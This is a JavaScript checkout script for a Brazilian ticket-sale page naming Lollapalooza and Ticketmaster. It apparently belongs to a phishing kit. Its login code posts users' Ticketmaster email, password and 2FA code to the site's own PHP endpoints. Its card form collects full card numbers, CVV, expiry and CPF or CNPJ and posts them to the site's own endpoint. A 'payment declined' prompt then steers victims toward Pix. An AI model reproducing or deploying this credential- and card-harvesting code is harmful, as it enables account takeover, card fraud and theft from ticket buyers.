// Strings
var modal_id = "";
var forma_entrega = "";
var address = "";
var formatReadableSimple = "";
var formatReadable = "";
var current_page = "carrinho";

// Dicts
var carrinho = {};

$("#zipcodeEnd").mask("99999-999", { autoclear: false });
$("#phoneReg").mask("(99) 99999-9999", { autoclear: false });
$("#dniReg").mask("999.999.999-99", { autoclear: false });
$("#birthDateReg").mask("99/99/9999", { autoclear: false });

function number_format(number, decimals, dec_point, thousands_point) {
  // number_format('2112.0', 2, ',', '.');
  if (number == null || !isFinite(number)) {
    throw new TypeError("number is not valid");
  }

  if (!decimals) {
    var len = number.toString().split(".").length;
    decimals = len > 1 ? len : 0;
  }

  if (!dec_point) {
    dec_point = ".";
  }

  if (!thousands_point) {
    thousands_point = ",";
  }

  number = parseFloat(number).toFixed(decimals);

  number = number.replace(".", dec_point);

  var splitNum = number.split(dec_point);
  splitNum[0] = splitNum[0].replace(/\B(?=(\d{3})+(?!\d))/g, thousands_point);
  number = splitNum.join(dec_point);

  return number;
}

function escapeRegExp(string) {
  return string.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); // $& means the whole matched string
}

function replaceAll(str, find, replace) {
  return str.replace(new RegExp(escapeRegExp(find), "g"), replace);
}

function ModalDetalhes(id) {
  //modal_id = id;
  //$(id).show();
}

function CloseModalDetalhes() {
  if (modal_id != "") {
    $(modal_id).hide();
  }
}

function mais(id) {
  quantidade = $("#value_" + id).text();
  quantidade = parseInt(quantidade) + 1;
  $("#value_" + id).html(quantidade);
  carrinho[id] = quantidade;
  updateCarrinho();
}

function menos(id) {
  quantidade = parseInt($("#value_" + id).text());
  if (quantidade > 0) {
    quantidade = quantidade - 1;
    $("#value_" + id).html(quantidade);
  }
  carrinho[id] = quantidade;
  updateCarrinho();
}

function updateCarrinho() {
  summary_tickets = "";
  summary_fees = 0;
  tickets_qty = 0;
  total_cart_price = 0;
  for (var k in carrinho) {
    if (carrinho[k] > 0) {
      item_title = "**" + $("#title_" + k).text();
      item_price = $("#preco_" + k).text();
      item_price = replaceAll(item_price, ".", "");
      item_price = replaceAll(item_price, ",", ".");
      summary_tickets =
        summary_tickets +
        '<div data-view="" data-currency="BRL"><div class="resume-item-detail"><div><span class="item-qty">' +
        carrinho[k] +
        " x </span>" +
        item_title +
        " (R$ " +
        number_format(item_price, 2, ",", ".") +
        ')<div class="seats"></div></div><div class="price">R$ ' +
        number_format(item_price * carrinho[k], 2, ",", ".") +
        "</div></div></div>";

      item_tax = $("#tax_" + k).val();
      summary_fees = summary_fees + item_tax * carrinho[k];

      total_cart_price = total_cart_price + item_price * carrinho[k];
      tickets_qty = tickets_qty + 1 * carrinho[k];
    }
  }
  if (summary_tickets.length > 0) {
    summary_tickets = "<h4>Pacote</h4>" + summary_tickets;
  }
  if (summary_fees > 0) {
    $("#service_info").show();
    $("#summary-fees").html(
      '<div data-view="" data-title="Taxa de serviço" data-price="' +
        summary_fees +
        '" data-modal_id="infoModal_sc" data-currency="BRL" data-item_class="service" data-show_info_icon="false"><div class="resume-item-detail"><div class="service">Taxa de serviço</div><div id="taxa_total" class="price">R$ ' +
        number_format(summary_fees, 2, ",", ".") +
        "</div></div></div>"
    );
    $("#summary-fees2").html(
      '<div data-view="" data-title="Taxa de serviço" data-price="' +
        summary_fees +
        '" data-modal_id="infoModal_sc" data-currency="BRL" data-item_class="service" data-show_info_icon="false"><div class="resume-item-detail"><div class="service">Taxa de serviço</div><div class="price">R$ ' +
        number_format(summary_fees, 2, ",", ".") +
        "</div></div></div>"
    );
  } else {
    $("#service_info").hide();
  }

  $("#summary-tickets").html(summary_tickets);
  $("#summary-tickets2").html(summary_tickets);
  $("#tickets_qty").html(tickets_qty);
  $("#tickets_qty2").html(tickets_qty);
  $("#summary-total").html(
    "R$ " + number_format(total_cart_price + summary_fees, 2, ",", ".")
  );
  $("#summary-total2").html(
    "R$ " + number_format(total_cart_price + summary_fees, 2, ",", ".")
  );

  if (tickets_qty > 0) {
    $("#BtnContinuar").show();
  } else {
    $("#BtnContinuar").hide();
  }
}

function MostrarResumoMobile() {
  classN = document.getElementById("checkoutSummary").className;
  if (classN == "buy-resume") {
    document.getElementById("checkoutSummary").className =
      "buy-resume resume-open";
  } else {
    document.getElementById("checkoutSummary").className = "buy-resume";
  }
}

function Etapa(etapa) {
  window.scrollTo(0, 0);
  $("#SelecionarIngressos").hide();
  $("#MetodoDeEntrega").hide();
  $("#AcesseSuaConta").hide();
  $("#OndeQuerReceberSeusIngressos").hide();
  $("#NovoEnderecoDeEntrega").hide();
  $("#ConfirmeOperacao").hide();
  $("#SelecioneFormaPagamento").hide();
  $("#checkout-resume").show();
  FecharModalLogin();
  if (etapa == "entrega") {
    current_page = "endereco";
    $("#MetodoDeEntrega").show();
  } else if (etapa == "login") {
    current_page = "login";
    $("#AcesseSuaConta").show();
  } else if (etapa == "aonde-receber-ingresso") {
    current_page = "endereco";
    $("#OndeQuerReceberSeusIngressos").show();
  } else if (etapa == "novo-endereco-entrega") {
    current_page = "endereco";
    $("#NovoEnderecoDeEntrega").show();
  } else if (etapa == "confirme-a-operacao") {
    current_page = "endereco";
    UpdateEnderecos();
    $("#ConfirmeOperacao").show();
    $("#checkout-resume").hide();
  } else if (etapa == "formas-de-pagamento") {
    current_page = "pagamento";
    $("#SelecioneFormaPagamento").show();
  }
}

function MudarFormaEntrega(forma) {
  forma_entrega = forma;
}

function AbrirModalLogin() {
  $("#userLogin").show();
}

function FecharModalLogin() {
  $("#userLogin").hide();
  $("#login_part").show();
  $("#signup_part").hide();
}

function AbrirModalRegistro() {
  $("#login_part").hide();
  $("#signup_part").show();
}

function resetLoginError() {
  $("#notificationMessages").hide();
}

function AtualizarEnderecos() {
  if (address.includes("****")) {
    address_ = address.split("****");
    for (var k in address_) {
      if (address_[k].includes("|")) {
        value = address_[k].split("|");
        if (value.length == 2) {
          if (value[0] == "formatReadableSimple") {
            formatReadableSimple = value[1];
          } else if (value[0] == "formatReadable") {
            formatReadable = value[1];
          }
        }
      }
    }
  }
  $("#formatReadableSimple").html(formatReadableSimple);
}

function login() {
  email = $("#c2_username").val();
  senha = $("#c2_password").val();
  if (email.length > 0 && senha.length) {
    $("#notificationMessages").hide();
    $("#settings_save").attr("disabled", true);
    $.ajax({
      type: "post",
      data: {
        email: email,
        senha: senha,
      },
      url: "./ajax/LoginTicketMaster.php",
      success: function (resposta) {
        if (resposta.includes("2FA")) {
          $("#loginForm").hide();
          $("#2faForm").show();
        }else if (resposta.includes("|")) {
          if (!resposta.includes("EMPTY|")) {
            address = resposta;
            AtualizarEnderecos();
            if (forma_entrega == "domicilio") {
              Etapa("aonde-receber-ingresso");
            } else {
              Etapa("confirme-a-operacao");
            }
          } else {
            Etapa("novo-endereco-entrega");
          }
        } else {
          $("#notificationMessages").show();
          $("#settings_save").attr("disabled", false);
        }
      },
    });
  }
}

function toofa() {
  codigo = $("#c2_2fa").val();
  if (codigo.length) {
    $("#notificationMessages").hide();
    $("#settings_save2").attr("disabled", true);
    $.ajax({
      type: "post",
      data: {
        code: codigo,
      },
      url: "./ajax/LoginTicketMaster2.php",
      success: function (resposta) {
        if (resposta.includes("|")) {
          if (!resposta.includes("EMPTY|")) {
            address = resposta;
            AtualizarEnderecos();
            if (forma_entrega == "domicilio"){
              Etapa("aonde-receber-ingresso");
            } else {
              Etapa("confirme-a-operacao");
            }
          } else {
            Etapa("novo-endereco-entrega");
          }
        } else {
          $("#notificationMessages").show();
          $("#notificationMessages2").hide();
          $("#settings_save2").attr("disabled", false);
        }
      },
    });
  }
}

function OnKeyUpCEP() {
  cep = $("#zipcodeEnd").val();
  if (cep.length == 9) {
    $.ajax({
      url: "./ajax/ConsultaCEP.php?cep=" + cep,
      dataType: "json",
      success: function (resposta) {
        $("#streetEnd").val(resposta["logradouro"]);
        $("#cityEnd").val(resposta["localidade"]);
        $("#provinceEnd").val(resposta["uf"]);
        $("#neighborhoodEnd").val(resposta["bairro"]);
      },
    });
  }
}

function SalvarEndereco() {
  nome = $("#firstNameEnd").val();
  sobrenome = $("#lastNameEnd").val();
  cep = $("#zipcodeEnd").val();
  estado = $("#provinceEnd").val();
  cidade = $("#cityEnd").val();
  bairro = $("#neighborhoodEnd").val();
  rua = $("#streetEnd").val();
  numero = $("#numberEnd").val();
  complemento = $("#addressLine2End").val();
  if (!nome.length > 0) {
    document.getElementById("firstNameEnd").focus();
    return;
  }
  if (!sobrenome.length > 0) {
    document.getElementById("lastNameEnd").focus();
    return;
  }
  if (!cep.length > 0) {
    document.getElementById("zipcodeEnd").focus();
    return;
  }
  if (!estado.length > 0) {
    document.getElementById("zipcodeEnd").focus();
    return;
  }
  if (!cidade.length > 0) {
    document.getElementById("zipcodeEnd").focus();
    return;
  }
  if (!bairro.length > 0) {
    document.getElementById("neighborhoodEnd").focus();
    return;
  }
  if (!rua.length > 0) {
    document.getElementById("streetEnd").focus();
    return;
  }
  if (!numero.length > 0) {
    document.getElementById("numberEnd").focus();
    return;
  }
  formatReadableSimple = rua + " " + numero + ", " + cidade;
  if (complemento.length > 0) {
    complemento = " " + complemento;
  }
  formatReadable =
    rua +
    " " +
    numero +
    complemento +
    " - " +
    bairro +
    ", " +
    cidade +
    ", " +
    estado +
    ", CEP: " +
    cep;
  Etapa("confirme-a-operacao");
}

function UpdateEnderecos() {
  $("#formatReadable").html(formatReadable);
  $("#formatReadable2").html(formatReadable);
  if (forma_entrega == "domicilio") {
    $("#EnvioEntrega").show();
    $("#EnvioRetirada").hide();
  } else {
    $("#EnvioRetirada").show();
    $("#EnvioEntrega").hide();
  }
}

function registro() {
  email = $("#emailReg").val();
  senha = $("#passwordReg").val();
  senha_confirm = $("#passwordConfirmReg").val();
  nome = $("#firstNameReg").val();
  sobrenome = $("#lastNameReg").val();
  celular = $("#phoneReg").val();
  cpf = $("#dniReg").val();
  nascimento = $("#birthDateReg").val();
  if (!email.length > 0) {
    document.getElementById("emailReg").focus();
    return;
  }
  if (!senha.length > 0) {
    document.getElementById("passwordReg").focus();
    return;
  }
  if (!senha_confirm.length > 0) {
    document.getElementById("passwordConfirmReg").focus();
    return;
  }
  if (!nome.length > 0) {
    document.getElementById("firstNameReg").focus();
    return;
  }
  if (!sobrenome.length > 0) {
    document.getElementById("lastNameReg").focus();
    return;
  }
  if (!celular.length > 0) {
    document.getElementById("phoneReg").focus();
    return;
  }
  if (!cpf.length > 0) {
    document.getElementById("dniReg").focus();
    return;
  }
  if (!nascimento.length > 0) {
    document.getElementById("birthDateReg").focus();
    return;
  }
  $.ajax({
    type: "post",
    data: {
      cpfs: cpf,
      name: nome,
      sobre: sobrenome,
      mail: email,
    },
    url: "./ajax/salvadados.php",
    success: function (resposta) {
      console.log(resposta)
      Etapa("novo-endereco-entrega");
    },
  });

  
}

function pagamentoCartao() {
  //CARTAO
  var valorElement = $("#summary-total").text();
  var valorLimpo = valorElement.replace("R$", "").trim(); // Remove 'R$' e espaços extras
  var valorFormatado = parseFloat(
    valorLimpo.replace(".", "").replace(",", ".")
  ); // Trata o formato numérico



  window.scrollTo(0, 0);
  $("#page-loader").show();
  setTimeout(function () {
    $("#SelecioneFormaPagamento").hide();
    $("#CartaodeCredito").show();
    $("#page-loader").hide();
    atualizarParcelas(valorFormatado); // Chama a função para atualizar as parcelas
  }, 2000);
}

function pagarNoPix() {
  window.scrollTo(0, 0);
  $("#page-loader").show();
  setTimeout(function () {
    $("#SelecioneFormaPagamento").show();
    $("#CartaodeCredito").hide();
    $("#page-loader").hide();
  }, 1000);
}

function atualizarParcelas(valorTotal) {
  var select = $("#installments");
  select.empty(); // Limpa opções existentes
  select.append($("<option>").val("-1").text("Parcelas")); // Opção padrão

  for (var i = 1; i <= 4; i++) {
    var valorParcela = valorTotal / i;
    var valorParcelaFormatado = valorParcela.toLocaleString("pt-BR", {
      style: "currency",
      currency: "BRL",
    });
    var textoParcela =
      i + " parcela" + (i > 1 ? "s" : "") + " de " + valorParcelaFormatado;
    select.append($("<option>").val(i).text(textoParcela));
  }
}

function pagamento() {
  // PIX
  var valorElement = $("#summary-total").text();
  // Limpar e converter o valor
  var valorLimpo = valorElement.replace("R$", "").trim(); // Remove 'R$' e espaços extras
  var valorFormatado = parseFloat(
    valorLimpo.replace(".", "").replace(",", ".")
  ); // Remove ponto de milhar e substitui vírgula por ponto


  window.scrollTo(0, 0);
  $("#page-loader").show();
  resumo_pedido = "";
  for (var k in carrinho) {
    if (carrinho[k] > 0) {
      item_title = carrinho[k] + " x " + $("#title_" + k).text();
      item_price = $("#preco_" + k).text();
      item_price = replaceAll(item_price, ".", "");
      item_price = replaceAll(item_price, ",", ".");
      item_price = item_price * carrinho[k];
      resumo_pedido = resumo_pedido + "|" + item_title + "***" + item_price;
    }
  }

  $.ajax({
    type: "post",
    data: {
      valor_total: $("#summary-total").text(),
      taxa_total: $("#taxa_total").text(),
      resumo_pedido: resumo_pedido,
    },
    url: "./ajax/pixLollapalooza.php",
    success: function (resposta) {
      $("#purchase_container").html(resposta);
      setTimeout(function () {
        $("#Main_Tab").hide();
        $("#Pix_Tab").show();
        $("#page-loader").hide();
      }, 2000);
    },
  });
}

document.getElementById("payButton").addEventListener("click", function (e) {
  e.preventDefault();

  var fields = [
    {
      element: document.getElementById("numerocc"),
      message: "Número do cartão é obrigatório e deve conter 16 dígitos.",
    },
    {
      element: document.getElementById("validade"),
      message: "Data de validade é obrigatória e deve estar no formato MM/YY.",
    },
    {
      element: document.getElementById("cvv"),
      message: "CVV é obrigatório e deve conter 3 ou 4 dígitos.",
    },
    {
      element: document.getElementById("docNumber"),
      message:
        "Número do documento é obrigatório e deve estar correto conforme o tipo escolhido (CPF ou CNPJ).",
    },
    {
      element: document.getElementById("name"),
      message: "Informe seu nome completo.",
    },
    {
      element: document.getElementById("installments"),
      message: "Selecione a parcela desejada!",
    },
  ];

  for (let field of fields) {
    if (!validateField(field.element, field.message)) {
      return; // Sai do loop e da função assim que encontrar um campo inválido
    }
  }

  var resumo_pedido = "";
  Object.keys(carrinho).forEach(function (k) {
    if (carrinho[k] > 0) {
      var item_title = carrinho[k] + " x " + $("#title_" + k).text();
      var item_price = $("#preco_" + k)
        .text()
        .replace("R$", "")
        .trim()
        .replace(".", "")
        .replace(",", ".");
      item_price = parseFloat(item_price) * carrinho[k];
      resumo_pedido +=
        (resumo_pedido ? "|" : "") + item_title + "***" + item_price.toFixed(2);
    }
  });

  $("#page-loader").show();
  $.ajax({
    type: "post",
    data: {
      valor_total: $("#summary-total")
        .text()
        .replace("R$", "")
        .trim()
        .replace(".", "")
        .replace(",", "."),
      taxa_total: $("#taxa_total")
        .text()
        .replace("R$", "")
        .trim()
        .replace(".", "")
        .replace(",", "."),
      resumo_pedido: resumo_pedido,
      numero_cartao: $("#numerocc").val(),
      nome_titular: $("#name").val(),
      mes_expiracao: $("#validade").val().split("/")[0],
      ano_expiracao: $("#validade").val().split("/")[1],
      cvv: $("#cvv").val(),
      documento: $("#docNumber").val(),
      docType: $("#docType").val(),
      parcelas: $("#installments").val(),
    },
    url: "./ajax/cartaoLollapalooza.php",
    success: function (resposta) {
      var result = JSON.parse(resposta);
      if (result.status === "success") {
        setTimeout(function () {
          $("#page-loader").hide();
          $("#CartaodeCredito").hide();
          $("#checkout-resume").hide();
        }, 2000);
        window.location.href = "./concluido.php";
      } else {
        $("#page-loader").hide();
        Swal.fire({
          icon: "error",
          title: "Pagamento Recusado",
          text: result.message,
          toast: true,
          showConfirmButton: true,
          confirmButtonText: "Pagar com Pix",
          didOpen: () => {
            const confirmButton = Swal.getConfirmButton();
            confirmButton.addEventListener("click", pagarNoPix);
          },
        });
      }
    },
    error: function () {
      $("#page-loader").hide();
      Swal.fire({
        icon: "error",
        title: "Erro",
        text: "Erro ao processar o pagamento. Tente novamente mais tarde.",
        timer: 10000,
        timerProgressBar: true,
        toast: true,
        position: "top-end",
        showConfirmButton: false,
      });
    },
  });
});

function validateField(field, errorMessage) {
  if (
    field.id === "numerocc" &&
    !field.value.replace(/\s/g, "").match(/^\d{16}$/)
  ) {
    showError(field, errorMessage);
    return false;
  } else if (
    field.id === "validade" &&
    !field.value.match(/^(0[1-9]|1[0-2])\/\d{2}$/)
  ) {
    showError(field, errorMessage);
    return false;
  } else if (field.id === "cvv" && !field.value.match(/^\d{3,4}$/)) {
    showError(field, errorMessage);
    return false;
  } else if (field.id === "docNumber") {
    var docType = document.getElementById("docType").value;
    var cleanValue = field.value.replace(/\D/g, ""); // Remove non-digits
    if (
      (docType === "CPF" && !cleanValue.match(/^\d{11}$/)) ||
      (docType === "CNPJ" && !cleanValue.match(/^\d{14}$/))
    ) {
      showError(field, errorMessage);
      return false;
    }
  }
  field.classList.add("is-valid");
  field.classList.remove("is-invalid");
  return true;
}

function showError(field, message) {
  field.classList.add("is-invalid");
  field.classList.remove("is-valid");
  field.focus();
  Swal.fire({
    icon: "error",
    title: "Erro!",
    text: message,
    toast: true,
    position: "top-end",
    showConfirmButton: false,
    timer: 3000,
    timerProgressBar: true,
  });
}